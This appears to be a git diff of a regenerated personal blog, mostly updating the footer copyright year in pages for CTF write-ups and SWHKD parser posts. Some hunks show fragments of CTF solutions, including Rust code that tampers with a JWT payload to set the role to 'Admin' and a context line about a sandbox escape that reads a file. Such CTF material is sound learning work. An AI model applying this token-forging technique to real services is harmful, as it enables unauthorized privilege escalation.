</span></span><span style=display:flex><span> )<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#75715e>// tampering the payload
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> payload[<span style=color:#e6db74>&#34;role&#34;</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>&#34;Admin&#34;</span>.into());
</span></span></span><span style=display:flex><span> payload[<span style=color:#e6db74>&#34;role&#34;</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>&#34;Admin&#34;</span>.into());
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> token <span style=color:#f92672>=</span> encode(header, <span style=color:#f92672>&amp;</span>signing_key, <span style=color:#f92672>&amp;</span>payload, algorithm)<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span>
@@ -122,4 +122,4 @@ We are also given the source code of the application.</p><p>Taking a look at the
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span></span><span>Twosum</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span>Java Script Kiddie 2</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span>Java Script Kiddie 2</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -176,4 +176,4 @@ scanned 1 barcode symbols from 1 images in 0.03 seconds
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span></span><span>Java Code Analysis!?!</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span>Some Assembly Required 3</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span>Some Assembly Required 3</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -217,14 +217,14 @@ is an integer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backg
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>a</span>;
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>2</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>b</span>;
</span></span><span style=display:flex><span> <span style=color:#75715e>// if (eqz(e[3]:int)) goto B_a;
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>if</span> (<span style=color:#f92672>*</span><span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) {
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (<span style=color:#f92672>*</span><span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// b[1072] = e[3];
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#a6e22e>b</span>[<span style=color:#ae81ff>1072</span>] <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span></span><span style=display:flex><span> <span style=color:#a6e22e>b</span>[<span style=color:#ae81ff>1072</span>] <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>k</span><span style=color:#f92672>:</span><span style=color:#a6e22e>ubyte_ptr</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>4</span> <span style=color:#f92672>-</span> (<span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>2</span>] <span style=color:#f92672>%</span> <span style=color:#ae81ff>5</span>);
</span></span><span style=display:flex><span> <span style=color:#75715e>// var l:int = k[1067];
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#75715e>// e[3] = e[3] ^ (l &lt;&lt; 24) &gt;&gt; 24;
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>byte</span> <span style=color:#f92672>=</span> <span style=color:#f92672>*</span>(<span style=color:#a6e22e>k</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>1067</span>);
</span></span></span><span style=display:flex><span> <span style=color:#75715e>// e[3] = e[3] ^ (l &lt;&lt; 24) &gt;&gt; 24;
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>byte</span> <span style=color:#f92672>=</span> <span style=color:#f92672>*</span>(<span style=color:#a6e22e>k</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>1067</span>);
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>^</span> <span style=color:#a6e22e>l</span>;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>From the beginning of the file, we can infer that some encoded string is
@@ -244,7 +244,7 @@ cargo add hex
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> key <span style=color:#f92672>=</span> hex::decode(<span style=color:#e6db74>&#34;f1a7f007ed&#34;</span>)<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> crib: Vec<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>u8</span><span style=color:#f92672>&gt;</span> <span style=color:#f92672>=</span> hex::decode(
</span></span><span style=display:flex><span> <span style=color:#75715e>// &#34;\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8&#34;
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#e6db74>&#34;9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000&#34;</span>,
</span></span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000&#34;</span>,
</span></span><span style=display:flex><span> )<span style=color:#f92672>?</span>
</span></span><span style=display:flex><span> .into_iter()
</span></span><span style=display:flex><span> .enumerate()
@@ -269,4 +269,4 @@ cargo add hex
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a href=https://lavafroth.is-a.dev/tags/webassembly class=list-tag>WebAssembly</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span></span><span>Java Script Kiddie 2</span></a>
<a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span>Kringlecon 2022 Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span>Kringlecon 2022 Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -46,7 +46,7 @@ we replace the binding&rsquo;s command with the new command.</p><div class=highl
were not for the tests. The commands, just like keys, must be unescaped when present
in shorthands. This is so that we can distinguish a comma separating two
shorthand elements or a dash representing a range from a literal comma or a dash.</p><p>Solution? Simply reuse the unescape function we used in for the keys.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>Rule::command_component <span style=color:#f92672>=&gt;</span> {
</span></span></span><span style=display:flex><span>Rule::command_component <span style=color:#f92672>=&gt;</span> {
</span></span><span style=display:flex><span> command_variants.push(unescape(component.as_str()).to_string())
</span></span><span style=display:flex><span>}
</span></span><span style=display:flex><span><span style=color:#75715e>// ...
@@ -75,4 +75,4 @@ actually use SWHKD in my daily workflows. Stay tuned!</p></section><footer class
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span></span><span>How I Use SWHKD in My Workflow</span></a>
<a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span>Humans Suck at Command Sanitization</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span>Humans Suck at Command Sanitization</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -31,12 +31,12 @@ hashing function. Considering that the average setup
would not wield even a thousand submodules, it&rsquo;s sufficient to store the imports in a set.</p><p>We&rsquo;ll create slightly separate implementations to differentiate between the root module
and any submodules it imports. For now, let&rsquo;s tackle the implementation for the submodules.</p><p>We create a method for the parser result called <code>as_import</code> for loading any of these aforementioned submodules.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>as_import</span>(input: <span style=color:#a6e22e>ParserInput</span>, seen: <span style=color:#66d9ef>&amp;</span><span style=color:#a6e22e>mut</span> BTreeSet<span style=color:#f92672>&lt;</span>String<span style=color:#f92672>&gt;</span>) -&gt; Result<span style=color:#f92672>&lt;</span>Self, ParseError<span style=color:#f92672>&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The <code>seen</code> argument is how the caller tells the callee about what import paths it has already seen.</p><p>While processing import expressions, we keep adding the imports we have seen so far to a local <code>BTreeSet</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imports <span style=color:#f92672>=</span> BTreeSet::new();
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> decl <span style=color:#66d9ef>in</span> contents.into_inner() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> decl.as_rule() {
</span></span><span style=display:flex><span> <span style=color:#75715e>// other rules like bindings
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> Rule::import <span style=color:#f92672>=&gt;</span> imports.extend(import_parser(decl)),
</span></span></span><span style=display:flex><span> Rule::import <span style=color:#f92672>=&gt;</span> imports.extend(import_parser(decl)),
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Once all the tokens in the current config have been parsed, we can move on to adding the imports to
@@ -70,11 +70,11 @@ call stack of import related functions.</p><p>Lastly, for the sake of backwards
root parser result. This was the behavior present in the original parser. Note that the import
fields in the submodules will all be empty since we popped them one by one in this loop:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Okay, that&rsquo;s all for now. See you soon!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span></span><span>Humans Suck at Command Sanitization</span></a>
<a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span>Test Driven Development - The Pinnacle of Engineering</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span>Test Driven Development - The Pinnacle of Engineering</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -418,4 +418,4 @@ orbit.addEventListener('change', function() {
<a href=https://lavafroth.is-a.dev/tags/3d class=list-tag>3D</a>
<a href=https://lavafroth.is-a.dev/tags/animation class=list-tag>Animation</a>
<a href=https://lavafroth.is-a.dev/tags/glsl class=list-tag>GLSL</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span></span><span>In search of the smallest DNA complement function</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span>PicoCTF SansAlpha Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span>PicoCTF SansAlpha Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -100,4 +100,4 @@ it only prints the flag when run.</p><hr><p>Let&rsquo;s parse the response body
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span></span><span>RingZer0 CTF Hash Me Reloaded</span></a>
<a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span>Oh my God, they killed Kenny!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span>Oh my God, they killed Kenny!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -106,4 +106,4 @@ that it only prints the flag when run.</p><hr><p>Lets parse the response body
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span></span><span>I Saw a Little Elf</span></a>
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span>Hash Me Please</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span>Hash Me Please</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -148,4 +148,4 @@ we set the request off.</p><div class=highlight><pre tabindex=0 style=color:#f8f
<a href=https://lavafroth.is-a.dev/tags/elf class=list-tag>ELF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span></span><span>Treebox</span></a>
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span>RingZer0 CTF Hash Me Reloaded</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span>RingZer0 CTF Hash Me Reloaded</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -29,4 +29,4 @@ and the script should error out with the contents of the file.</p><div class=hig
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span></span><span>Bash Jail 2</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span>Operation Oni, Operation Orchid</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span>Operation Oni, Operation Orchid</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -57,4 +57,4 @@ tab in place of the whitespace.</p><h1 id=solution>Solution</h1><p>We give the s
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span></span><span>Bash Jail 3</span></a>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span>Bash Jail 1</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span>Bash Jail 1</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -56,4 +56,4 @@ characters. One such command would be <code>tail</code> which, by default, reads
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span></span><span>Oh my God, they killed Kenny!</span></a>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span>Bash Jail 2</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/><span>Bash Jail 2</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -97,4 +97,4 @@ can learn from my mistakes and embrace testing slightly ahead of time. See you s
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span></span><span>Preventing Infinite Recursions From Eating Your Lunch</span></a>
<a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span>Modes, Unbinds and Other Ensembled Parser Patterns</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
